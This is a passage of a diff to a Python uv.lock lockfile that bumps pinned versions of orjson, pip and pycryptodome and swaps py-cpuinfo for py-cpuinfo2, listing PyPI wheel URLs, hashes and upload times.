"https://files.pythonhosted.org/packages/d6/ec/4acaf21483e18aa945be74a474c74b434f284b549f275a0a39b9f98956e9/orjson-3.11.9-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6cc7923789694fd58f001cbcac7e47abc13af4d560ebbfcf3b41a8b1a0748124", size = 122356, upload-time = "2026-05-06T15:10:48.765Z" }, - { url = "https://files.pythonhosted.org/packages/13/d8/5f0555e7638801323b7a75850f92e7dfa891bc84fe27a1ba4449170d1200/orjson-3.11.9-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ea5c46eb2d3af39e806b986f4b09d5c2706a1f5afde3cbf7544ce6616127173c", size = 129592, upload-time = "2026-05-06T15:10:50.13Z" }, - { url = "https://files.pythonhosted.org/packages/b6/30/ed9860412a3603ceb3c5955bfd72d28b9d0e7ba6ed81add14f83d7114236/orjson-3.11.9-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f5d89a2ed90731df3be64bab0aa44f78bff39fdc9d71c291f4a8023aa46425b7", size = 140491, upload-time = "2026-05-06T15:10:51.582Z" }, - { url = "https://files.pythonhosted.org/packages/d0/17/adc514dea7ac7c505527febf884934b815d34f0c7b8693c1a8b39c5c4a57/orjson-3.11.9-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:25e4aed0312d292c09f61af25bba34e0b2c88546041472b09088c39a4d828af1", size = 127309, upload-time = "2026-05-06T15:10:53.329Z" }, - { url = "https://files.pythonhosted.org/packages/76/3e/c0b690253f0b82d86e99949af13533363acfb5432ecb5d53dd5b3bce9c34/orjson-3.11.9-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaea64f3f467d22e70eeed68bdccb3bc4f83f650446c4a03c59f2cba28a108db", size = 134030, upload-time = "2026-05-06T15:10:54.988Z" }, - { url = "https://files.pythonhosted.org/packages/c1/7a/bc82a0bb25e9faaf92dc4d9ef002732efc09737706af83e346788641d4a7/orjson-3.11.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a028425d1b440c5d92a6be1e1a020739dfe67ea87d96c6dbe828c1b30041728b", size = 141482, upload-time = "2026-05-06T15:10:56.663Z" }, - { url = "https://files.pythonhosted.org/packages/01/55/e69188b939f77d5d32a9833745ace31ea5ccae3ab613a1ec185d3cd2c4fb/orjson-3.11.9-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5b192c6cf397e4455b11523c5cf2b18ed084c1bbd61b6c0926344d2129481972", size = 415178, upload-time = "2026-05-06T15:10:58.446Z" }, - { url = "https://files.pythonhosted.org/packages/2e/1a/b8a5a7ac527e80b9cb11d51e3f6689b709279183264b9ec5c7bc680bb8b5/orjson-3.11.9-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ea407d4ccf5891d667d045fecae97a7a1e5e87b3b97f97ae1803c2e741130be0", size = 148089, upload-time = "2026-05-06T15:11:00.441Z" }, - { url = "https://files.pythonhosted.org/packages/97/4e/00503f64204bf859b37213a63927028f30fb6268cd8677fb0a5ad48155e1/orjson-3.11.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5f63aaf97afd9f6dec5b1a68e1b8da12bfccb4cb9a9a65c3e0b6c847849e7586", size = 136921, upload-time = "2026-05-06T15:11:02.176Z" }, - { url = "https://files.pythonhosted.org/packages/0d/ba/a23b82a0a8d0ed7bed4e5f5035aae751cad4ff6a1e8d2ecd14d8860f5929/orjson-3.11.9-cp314-cp314-win32.whl", hash = "sha256:e30ab17845bb9fa54ccf67fa4f9f5282652d54faa6d17452f47d0f369d038673", size = 131638, upload-time = "2026-05-06T15:11:03.696Z" }, - { url = "https://files.pythonhosted.org/packages/f3/c3/0c6798456bade745c75c452342dabacce5798196483e77e643be1f53877d/orjson-3.11.9-cp314-cp314-win_amd64.whl", hash = "sha256:32ef5f4283a3be81913947d19608eacb7c6608026851123790cd9cc8982af34b", size = 127078, upload-time = "2026-05-06T15:11:05.123Z" }, - { url = "https://files.pythonhosted.org/packages/16/21/5a3f1e8913103b703a436a5664238e5b965ec392b555fe68943ea3691e6b/orjson-3.11.9-cp314-cp314-win_arm64.whl", hash = "sha256:eebdbdeef0094e4f5aefa20dcd4eb2368ab5e7a3b4edea27f1e7b2892e009cf9", size = 126687, upload-time = "2026-05-06T15:11:06.602Z" }, +version = "3.13.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f2/72/380b97dc45bd162d23afe5194721ef678d9eac7cfaa549fe2873f7f0a518/orjson-3.13.0.tar.gz", hash = "sha256:d1de5eb04485110c5da4c657e49168995d55e076b1ce60f1a042e254f4186c4f", size = 2732604, upload-time = "2026-10-07T14:09:25.719Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ce/a3/0be3b115907fea61ed340639fb0e1562cd18969bad5b3f486f808197aaff/orjson-3.13.0-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:948bad47f2e2e43527f14248364a0e5dee26dd3184691010ec4a1ebeb0fd6771", size = 223146, upload-time = "2026-10-07T14:08:06.474Z" }, + { url = "https://files.pythonhosted.org/packages/9e/f7/665935edb16163f8b764182e29a30cf056947a66893ed032191e5f01eb3d/orjson-3.13.0-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:1807c2fa49d393c7ee95fd1ef1b39cbb24aa3ccd81f30b84503ba59407666960", size = 123546, upload-time = "2026-10-07T14:08:08.324Z" }, + { url = "https://files.pythonhosted.org/packages/67/ec/e7cde480c0e212594d17ba2b2bd210c002052e9147fc1a1aeafaabe722fb/orjson-3.13.0-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.whl", hash = "sha256:637dbca1fccffe83780e806fbc0f17427c0c59bf822528eb0acc8f0aa9f19acb", size = 113290, upload-time = "2026-10-07T14:08:09.816Z" }, + { url = "https://files.pythonhosted.org/packages/36/59/4455fb11a297af73611dfc437f0f89456220227ed1cb1544a5a0ee9d6c03/orjson-3.13.0-cp311-cp311-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:554948becd1110123ef9f6a6e1310fd92b2d07d2cbac6dbf65df3de75702e736", size = 130342, upload-time = "2026-10-07T14:08:11.253Z" }, + { url = "https://files.pythonhosted.org/packages/ca/80/0eec5fbde2e52407646b4cb3118f63175bdcee1e2390c2759dc96e0bc62a/orjson-3.13.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dd9d9a101bd8dbfad112170f009cd155e52bb8c936468821a0d03cbb96c0e426", size = 129138, upload-time = "2026-10-07T14:08:12.814Z" }, + { url = "https://files.pythonhosted.org/packages/cd/cc/c0874f13819ae346d69ca00d074d464710b494abd4442bdebf75ac404a98/orjson-3.13.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:89bcf2d4bc6c9a7e1763c8cf534f38712e66b76a0fefda7fb7785462f0d635e4", size = 130518, upload-time = "2026-10-07T14:08:14.392Z" }, + { url = "https://files.pythonhosted.org/packages/25/ab/140dd9adff84bf64b862c4fcfe2d055af6014d5ba03a075f95c9addb2ec7/orjson-3.13.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a79cdc4934fe81f593072c94e13da3095e9d41c2deef8f6ff2901794ca1c5042", size = 134924, upload-time = "2026-10-07T14:08:16.09Z" }, + { url = "https://files.pythonhosted.org/packages/08/0a/e8f6deb032b1d98a39043cf99b863d8b9e842e2ffc2d2067d2e2a88c18e4/orjson-3.13.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:50a5202ba388b3850ba24437951727d3aa6d79a21964a30ae8dc6a059a5fd34c", size = 126704, upload-time = "2026-10-07T14:08:17.439Z" }, + { url = "https://files.pythonhosted.org/packages/af/cf/be64b99ff75f7983488390d4ef5df72115119770eed295691c0a715d492a/orjson-3.13.0-cp311-cp311-win_amd64.whl", hash = "sha256:a0377d6962fa431c93ecd78fdea771bb62ec545b24ee0c5d4e32acf2260af259", size = 121287, upload-time = "2026-10-07T14:08:18.843Z" }, + { url = "https://files.pythonhosted.org/packages/ca/ab/1b8ca186baf3420f12db1f2819fcc5f2cae69e4cf051168501726a64c0fa/orjson-3.13.0-cp311-cp311-win_arm64.whl", hash = "sha256:1d84820b2ec4ac975cba482214032de5b0dbdd17046170c98e642ef9c4a4ee4b", size = 126314, upload-time = "2026-10-07T14:08:20.452Z" }, + { url = "https://files.pythonhosted.org/packages/98/17/ed65f84ed5ed6a1e06eb628611b4172e7480fc4ad92594856751a6363cac/orjson-3.13.0-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:fb8644dc6d705e1269ed2842bf4dbe2b4e50d670de503bf79d5cef3a5148a4c7", size = 223063, upload-time = "2026-10-07T14:08:21.979Z" }, + { url = "https://files.pythonhosted.org/packages/6f/4d/9332eb96d2e379384be0f211f543835eebc81f460c9403b84abe1294c431/orjson-3.13.0-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:6ff2a2c67f35202f7d823753d38ad371a9b7fc297567cdfff4420e763cb9f6f8", size = 123364, upload-time = "2026-10-07T14:08:24.026Z" }, + { url = "https://files.pythonhosted.org/packages/b4/06/558456b7da27e974a8c9ea09117b07119f6fa131cd62b8b9ecad9eea94e1/orjson-3.13.0-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.whl", hash = "sha256:65c4e0e106ccc7265b488385659117a6805c37d042f737558ecd68aa0c67ad8f", size = 113199, upload-time = "2026-10-07T14:08:25.476Z" }, + { url = "https://files.pythonhosted.org/packages/b7/f2/1187a9c09965620348262ec0f406868f6d7c234b2e9b5ee51020bdde5748/orjson-3.13.0-cp312-cp312-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:fbbad6b9b1da43f25c1f5b20cd5a268e028a2fc95d5a8d1ade6059973bc71584", size = 130329, upload-time = "2026-10-07T14:08:26.877Z" }, + { url = "https://files.pythonhosted.org/packages/46/07/5d1a151bc11600434fe799e73abfc6a4d463d02e149a20e47c59d3a985ae/orjson-3.13.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ae1d895cf7bbfd50ef34bb63bb727b14514f259f3e3f8dd010783bd38e864c6e", size = 129072, upload-time = "2026-10-07T14:08:28.355Z" }, + { url = "https://files.pythonhosted.org/packages/ea/8c/bb07c368abbf4021c4cd01c12edb526e00090f7f750ff1b88da6e6b6c7a6/orjson-3.13.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bceadfd314bd238f584fc229a4bbaf0e573597e7a026dec5429fbf29fd66c641", size = 130612, upload-time = "2026-10-07T14:08:30.041Z" }, + { url = "https://files.pythonhosted.org/packages/d2/8d/4b66d19619ed344ac000ffea7c006477d0061d580646e736ef0e203759e8/orjson-3.13.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b74c30e56346aad067937d766846ee74c231d1d18aad3f324e9b9261de3b2d5e", size = 134632, upload-time = "2026-10-07T14:08:31.474Z" }, + { url = "https://files.pythonhosted.org/packages/ea/88/f8221f6593e37eb26ec4706e185b9ac6f38ff0c8f7bad5459844031ffd2d/orjson-3.13.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:4329c19b8a25693f60a77b867c9d2a3ab637b20e36f5b7bea7f5acb492b44b15", size = 126807, upload-time = "2026-10-07T14:08:32.914Z" }, + { url = "https://files.pythonhosted.org/packages/58/9d/a1ca7321eeafd7d72e174cdc388cc96301f41516d863e7b1f64f0a1735be/orjson-3.13.0-cp312-cp312-win_amd64.whl", hash = "sha256:b571236d8393edcd3236e07423f762bfcf571f852aad667a3bce9e7b755e0790", size = 121538, upload-time = "2026-10-07T14:08:34.325Z" }, + { url = "https://files.pythonhosted.org/packages/d0/a0/1f19b4779c910104370932fceb9ed436b47ac077f297db74008062525c04/orjson-3.13.0-cp312-cp312-win_arm64.whl", hash = "sha256:8594956a75223f657e1e68c568c0eeb3dd145f02cd6b78a47fd9a8095dbc4eae", size = 126259, upload-time = "2026-10-07T14:08:35.765Z" }, + { url = "https://files.pythonhosted.org/packages/a9/56/f8ad2546150168858c16915c452b00eecb79597597524d1ad6ae14ad4eab/orjson-3.13.0-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:64e8f345048d988c8b68d3882e5d41028fca1219a9939b32e4a77be34c8ae8e3", size = 222892, upload-time = "2026-10-07T14:08:37.495Z" }, + { url = "https://files.pythonhosted.org/packages/1f/19/725d23160b2471a3f27026c55bb79af34687652d8be8f5f583cee5dcd42f/orjson-3.13.0-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:ded33b972cffdaf4ca0ac917338ab61d2bb10d68987dbcae641c313fbfdbf499", size = 123319, upload-time = "2026-10-07T14:08:38.989Z" }, + { url = "https://files.pythonhosted.org/packages/ac/08/e5d81a00b22c73dfcb60d80da3bd92d5a7684346593536565f184dbae3c9/orjson-3.13.0-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.whl", hash = "sha256:45e34deb3437509f4ec9888dd9ee5dc426cfe21be10f1eb4ea3a9e4d33034f9e", size = 113196, upload-time = "2026-10-07T14:08:40.383Z" }, + { url = "https://files.pythonhosted.org/packages/67/78/fda6117c69a43e470b1e9dff38dd8c5f0bc6fd8a47e4d4561ab023039335/orjson-3.13.0-cp313-cp313-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:9825b954155b345c4759f24e5f8d652b9aec2261bb5d4e1abe06bba0a1200535", size = 130245, upload-time = "2026-10-07T14:08:41.878Z" }, + { url = "https://files.pythonhosted.org/packages/6d/31/d0cfebd456defb234414795ae7599696bf124843dfe077d0c9ece0c93554/orjson-3.13.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b081f0e7b600ff24513dec4ca75507fa05e904607847e386e8310d5b7b96b6c7", size = 128981, upload-time = "2026-10-07T14:08:43.716Z" }, + { url = "https://files.pythonhosted.org/packages/45/46/f8d83189ff5b7b2ff225a58c5908618cc4e86afe09e65d17a30ac68c9da4/orjson-3.13.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cbed5f4c4b88d94bcc36115f4c3bb3aa25da1563a5c3328aa3acebce2b083040", size = 130370, upload-time = "2026-10-07T14:08:45.132Z" }, + { url = "https://files.pythonhosted.org/packages/e6/6a/d6344c305003ea826b3fa0482645a897a3cd6d477ed74e1fe15d3322cb23/orjson-3.13.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e9b61676116f755126b90e740a9cff36b91562f47ec330056cc88cc3b9f02f4b", size = 134595, upload-time = "2026-10-07T14:08:46.63Z" }, + { url = "https://files.pythonhosted.org/packages/9f/52/d73fa44f88d53e02d10de1cf77c16ed13204ff5bca47e1692da6b406619c/orjson-3.13.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:3ef75ed7e81dae34a3649f82df52cd85f9ac839a7d6ec78ab355b33b3b27ef7f", size = 126513, upload-time = "2026-10-07T14:08:48.111Z" }, + { url = "https://files.pythonhosted.org/packages/fb/f8/bcfc50b4ab851c4f9c0ee62f52bf3b28f0bcd0d9fe08e0ad98d4585148db/orjson-3.13.0-cp313-cp313-win_amd64.whl", hash = "sha256:4ee06e53b998c71ce3eb93b86222912fdd9dcced685ac64d4525d36fac338ea4", size = 121371, upload-time = "2026-10-07T14:08:49.549Z" }, + { url = "https://files.pythonhosted.org/packages/7b/7a/d6927845712ec2b1e89263cd12d7203531db185dbad67f914226f2fca156/orjson-3.13.0-cp313-cp313-win_arm64.whl", hash = "sha256:89efecad02515df7f318d0613b5dfd6d2a1acd323a2b8294712789a715945525", size = 126134, upload-time = "2026-10-07T14:08:51.118Z" }, + { url = "https://files.pythonhosted.org/packages/f0/10/98b5a3cdc086abf78d8cd20bb0cba124485d4b6a745722197bd209d967a5/orjson-3.13.0-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:a7bfc7db961c7d96cb75889dc6a1e4ae1e91d87ee61da564f582bd742b8dfeef", size = 222889, upload-time = "2026-10-07T14:08:52.673Z" }, + { url = "https://files.pythonhosted.org/packages/22/7c/7728c5280ab5202f4891ff4b0b96e2e1dbd5520dfee53edf083c54409a64/orjson-3.13.0-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:91d933e668ff0ffe164d7c2daec36beba6d1ce7fadb71538fbe142a71f8a1e6e", size = 123312, upload-time = "2026-10-07T14:08:54.25Z" }, + { url = "https://files.pythonhosted.org/packages/a9/a5/d9a44321e6f66c0f64b45be587395f87ad94cb447bce7d92286f6b97d46a/orjson-3.13.0-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.whl", hash = "sha256:6c8bfe728b81b0fd58a3c7f3f9c5a113f87f2992c9948e0f28707aafd737c0bc", size = 113146, upload-time = "2026-10-07T14:08:55.803Z" }, + { url = "https://files.pythonhosted.org/packages/80/da/d95c80d413f288feb471e16d82e5c1512d2439728e3bac917d058c31f098/orjson-3.13.0-cp314-cp314-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:e8e05549f3b30f9d8a8e28c5aba11cc2a4b90b90961ec685ca58444b0815fc09", size = 130348, upload-time = "2026-10-07T14:08:57.31Z" }, + { url = "https://files.pythonhosted.org/packages/04/0f/36fdfb32ad1852997bac00e3ce52c7888d8a1094ba9dcdcbb22fcc6b953a/orjson-3.13.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c749ab3ac30b5ab1ffb7677f8b92eacfdfdc5260210baa398f845bc3714c05d8", size = 128971, upload-time = "2026-10-07T14:08:58.843Z" }, + { url = "https://files.pythonhosted.org/packages/25/de/a82acf93bdcca0c79ccff25ef0c6868d24ccbc2e72f21fae39c8cabce4f1/orjson-3.13.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58a9619d88f8818d9ab6b39d70d203789457ba13c1ed5d274f33ce9ae7e81a36", size = 130359, upload-time = "2026-10-07T14:09:00.412Z" }, + { url = "https://files.pythonhosted.org/packages/71/ca/2bc4f7697cb9f6897bf61aca11803df096a5d971bf69ef5538b243bb1fa8/orjson-3.13.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:2715c4808d1571029ed18fd07a82140bf3ba7def0dc89f8d015c416e3649bf87", size = 134583, upload-time = "2026-10-07T14:09:02.047Z" }, + { url = "https://files.pythonhosted.org/packages/23/b3/12b1af9b87ff9fa0aaf4e5724c87672b30bb5de76f275f7fac64e8219c1b/orjson-3.13.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:08bf722f923d2100bc5e5a5dcf72c656db557049c1bea26582fdd5dd9d5395a1", size = 126500, upload-time = "2026-10-07T14:09:03.863Z" }, + { url = "https://files.pythonhosted.org/packages/ad/ea/cf257fc8a7f4b18f5677c22b3a9673a1b51d4b7161f25177ed389b76560e/orjson-3.13.0-cp314-cp314-win_amd64.whl", hash = "sha256:6adcaa85d79977659a448b4123a88eb33511a11ed2db243535ad7ea88a6668e0", size = 121378, upload-time = "2026-10-07T14:09:05.375Z" }, + { url = "https://files.pythonhosted.org/packages/05/0a/9f4643f849e9918eab11983b83928af3aac14bedb04002e28e885ee1936f/orjson-3.13.0-cp314-cp314-win_arm64.whl", hash = "sha256:83705c12b4afde10c62a5dd3fe6fdb21b7900bd0dcd5af1c85612ae94d0ee590", size = 126123, upload-time = "2026-10-07T14:09:07.085Z" }, + { url = "https://files.pythonhosted.org/packages/8c/15/d265f2b556c0c7c0b30ea830316d6e5af5b85dde08f234a1ebed60fab386/orjson-3.13.0-cp315-cp315-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:5ef4d4157392a0439b74f7e49e5636b4ea43d9616bd0884effc0195fffcaa2d5", size = 223305, upload-time = "2026-10-07T14:09:08.84Z" }, + { url = "https://files.pythonhosted.org/packages/0c/97/781be8b80a33b8171b3f5acea941af47182c8b4b5827c2b7c3fea706f21c/orjson-3.13.0-cp315-cp315-macosx_15_0_arm64.whl", hash = "sha256:84d87e322e1674408f85adea63f11aa19201eba082755aec20ebc217f493bbd2", size = 123515, upload-time = "2026-10-07T14:09:10.792Z" }, + { url = "https://files.pythonhosted.org/packages/20/68/011bb98fa7da7b430b363db1bb7ef9160c438fc5c43e7468fb593c220037/orjson-3.13.0-cp315-cp315-manylinux_2_39_aarch64.whl", hash = "sha256:8c2ac5c09b017c484df1b4c68b2cf250b4e8ba08204cb58e7cd6cbbc71a9c902", size = 129222, upload-time = "2026-10-07T14:09:12.542Z" }, + { url = "https://files.pythonhosted.org/packages/86/7f/d96fa2aedaaec14c095ea9cd48d2158fdf33c0f4fd6e7a598d899d536b03/orjson-3.13.0-cp315-cp315-manylinux_2_39_armv7l.whl", hash = "sha256:51d11525bc3ca736fa97ce4e4c7da9999cc00bf261522bede43b4e7531bd7965", size = 113152, upload-time = "2026-10-07T14:09:14.059Z" }, + { url = "https://files.pythonhosted.org/packages/e9/2d/ee77aa685c54bd920a1f0e2936986b46269adb0d72bf5098c2c694dbeb36/orjson-3.13.0-cp315-cp315-manylinux_2_39_i686.whl", hash = "sha256:ac81530647c3423107cf61c3481e91f57134e9ddfb6ef83f5150ccbdcbc3a3ee", size = 130749, upload-time = "2026-10-07T14:09:15.835Z" }, + { url = "https://files.pythonhosted.org/packages/48/eb/3411fbfdad61b3f3af22343b5af7ed5c8a1679e35f442e8f1b229b33040e/orjson-3.13.0-cp315-cp315-manylinux_2_39_x86_64.whl", hash = "sha256:0526a3456db67b264c6d661b5f090077f326b6cd074d0ef53a72763595dec5d7", size = 130471, upload-time = "2026-10-07T14:09:17.463Z" }, + { url = "https://files.pythonhosted.org/packages/87/71/abdc2b8c70b8d85a6cb22f404da0f52d7d712f9d49cda039a0cb1adcb973/orjson-3.13.0-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:dd61e64802d51d1e4f16531c64536354fc3bc67932dc0cff254044f72bf0f187", size = 134793, upload-time = "2026-10-07T14:09:19.084Z" }, + { url = "https://files.pythonhosted.org/packages/0a/2e/1c13552d8b0241083116de02b2f284ee38501ef06ebfb79893f741538168/orjson-3.13.0-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:c5e3ccaac3106e8fa6e2f2f6962449d7c757d7b067e41b395a19d6f0d6cec892", size = 126711, upload-time = "2026-10-07T14:09:20.645Z" }, + { url = "https://files.pythonhosted.org/packages/85/f8/d4ece953a519d064cf690adaa68cd389d5b64fd261726334841b32978d6a/orjson-3.13.0-cp315-cp315-win_amd64.whl", hash = "sha256:7804dd1d6161da0e53b284c2aebf20f23e78eaac617300803e1467d1828d987f", size = 121496, upload-time = "2026-10-07T14:09:22.359Z" }, + { url = "https://files.pythonhosted.org/packages/70/cf/f691388c4a9bc4af7dcc1648c4b40845869908b517d7c0009d005c7d1fa1/orjson-3.13.0-cp315-cp315-win_arm64.whl", hash = "sha256:f5c05a8fee59309f537590a1ff12d3c1009c485e96a50a9ac60dd085c09d0fc0", size = 126260, upload-time = "2026-10-07T14:09:23.928Z" }, ] [[package]] @@ -2008,11 +1651,11 @@ wheels = [ [[package]] name = "pip" -version = "26.2.1" +version = "26.2.2" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/ae/15/4500e320e6b101ec3b719ae85b697d9940b6cda672bc555bd6016fc60c6f/pip-26.2.1.tar.gz", hash = "sha256:f6ad667e89a1fe78046c8f13232b247200f5258d7828f3f7883d660878e0813f", size = 1848877, upload-time = "2026-08-04T22:51:14.148Z" } +sdist = { url = "https://files.pythonhosted.org/packages/fa/e8/0842d757e483e895e670f655084cfe8b8c72580c6769a76b30b2789a0608/pip-26.2.2.tar.gz", hash = "sha256:3a8e5c800492787f33a4114ef54444546c340df428974ebba17e0fd47e11af2f", size = 1863336, upload-time = "2026-10-20T16:36:29.008Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/f3/6e/1736e5b4ae2b778ef2f81c47d797de9f891d4d8acb047a24ca37a60294dd/pip-26.2.1-py3-none-any.whl", hash = "sha256:71138adf1f4ca900cdb7d289c21b7494329f2332b6d85f0e1c42108c0384ed3e", size = 1816632, upload-time = "2026-08-04T22:51:12.472Z" }, + { url = "https://files.pythonhosted.org/packages/3f/06/3e4420302363fbb71be3c7f35ce042f54bfca330e3e66b3a2e3c4cca579f/pip-26.2.2-py3-none-any.whl", hash = "sha256:fd7f4dfa8190e014013b9f08f3e973f4e4c26ffd179a204895533a7254813a70", size = 1819850, upload-time = "2026-10-20T16:36:27.046Z" }, ] [[package]] @@ -2096,12 +1739,12 @@ wheels = [ ] [[package]] -name = "py-cpuinfo" -version = "9.0.0" +name = "py-cpuinfo2" +version = "10.1.1" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/37/a8/d832f7293ebb21690860d2e01d8115e5ff6f2ae8bbdc953f0eb0fa4bd2c7/py-cpuinfo-9.0.0.tar.gz", hash = "sha256:3cdbbf3fac90dc6f118bfd64384f309edeadd902d7c8fb17f02ffa1fc3f49690", size = 104716, upload-time = "2022-10-25T20:38:06.303Z" } +sdist = { url = "https://files.pythonhosted.org/packages/dc/97/a8b1ddada14c8280a047c0746f95cb05d94a31b1a331cea22bcdc2b2a82d/py_cpuinfo2-10.1.1.tar.gz", hash = "sha256:7861133863663f16e06eca63b12904ef100b5760415e92372dac0162799a4771", size = 100840, upload-time = "2026-03-25T21:49:40.797Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/e0/a9/023730ba63db1e494a271cb018dcd361bd2c917ba7004c3e49d5daf795a2/py_cpuinfo-9.0.0-py3-none-any.whl", hash = "sha256:859625bc251f64e21f077d099d4162689c762b5d6a4c3c97553d56241c9674d5", size = 22335, upload-time = "2022-10-25T20:38:27.636Z" }, + { url = "https://files.pythonhosted.org/packages/23/0a/ba69d2dde1ae12ef1d389ea5a216384c5ff6ef7a1e7a48d1e9b6686f6790/py_cpuinfo2-10.1.1-py3-none-any.whl", hash = "sha256:adc53396bfb206e6498d078ec2ab407f85799ecd819584ac36a8f80a2d4d762d", size = 23791, upload-time = "2026-03-25T21:49:39.574Z" }, ] [[package]] @@ -2115,42 +1758,41 @@ wheels = [ [[package]] name = "pycryptodome" -version = "3.23.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/8e/a6/8452177684d5e906854776276ddd34eca30d1b1e15aa1ee9cefc289a33f5/pycryptodome-3.23.0.tar.gz", hash = "sha256:447700a657182d60338bab09fdb27518f8856aecd80ae4c6bdddb67ff5da44ef", size = 4921276, upload-time = "2025-05-17T17:21:45.242Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/04/5d/bdb09489b63cd34a976cc9e2a8d938114f7a53a74d3dd4f125ffa49dce82/pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:0011f7f00cdb74879142011f95133274741778abba114ceca229adbf8e62c3e4", size = 2495152, upload-time = "2025-05-17T17:20:20.833Z" }, - { url = "https://files.pythonhosted.org/packages/a7/ce/7840250ed4cc0039c433cd41715536f926d6e86ce84e904068eb3244b6a6/pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:90460fc9e088ce095f9ee8356722d4f10f86e5be06e2354230a9880b9c549aae", size = 1639348, upload-time = "2025-05-17T17:20:23.171Z" }, - { url = "https://files.pythonhosted.org/packages/ee/f0/991da24c55c1f688d6a3b5a11940567353f74590734ee4a64294834ae472/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4764e64b269fc83b00f682c47443c2e6e85b18273712b98aa43bcb77f8570477", size = 2184033, upload-time = "2025-05-17T17:20:25.424Z" }, - { url = "https://files.pythonhosted.org/packages/54/16/0e11882deddf00f68b68dd4e8e442ddc30641f31afeb2bc25588124ac8de/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb8f24adb74984aa0e5d07a2368ad95276cf38051fe2dc6605cbcf482e04f2a7", size = 2270142, upload-time = "2025-05-17T17:20:27.808Z" }, - { url = "https://files.pythonhosted.org/packages/d5/fc/4347fea23a3f95ffb931f383ff28b3f7b1fe868739182cb76718c0da86a1/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d97618c9c6684a97ef7637ba43bdf6663a2e2e77efe0f863cce97a76af396446", size = 2309384, upload-time = "2025-05-17T17:20:30.765Z" }, - { url = "https://files.pythonhosted.org/packages/6e/d9/c5261780b69ce66d8cfab25d2797bd6e82ba0241804694cd48be41add5eb/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9a53a4fe5cb075075d515797d6ce2f56772ea7e6a1e5e4b96cf78a14bac3d265", size = 2183237, upload-time = "2025-05-17T17:20:33.736Z" }, - { url = "https://files.pythonhosted.org/packages/5a/6f/3af2ffedd5cfa08c631f89452c6648c4d779e7772dfc388c77c920ca6bbf/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:763d1d74f56f031788e5d307029caef067febf890cd1f8bf61183ae142f1a77b", size = 2343898, upload-time = 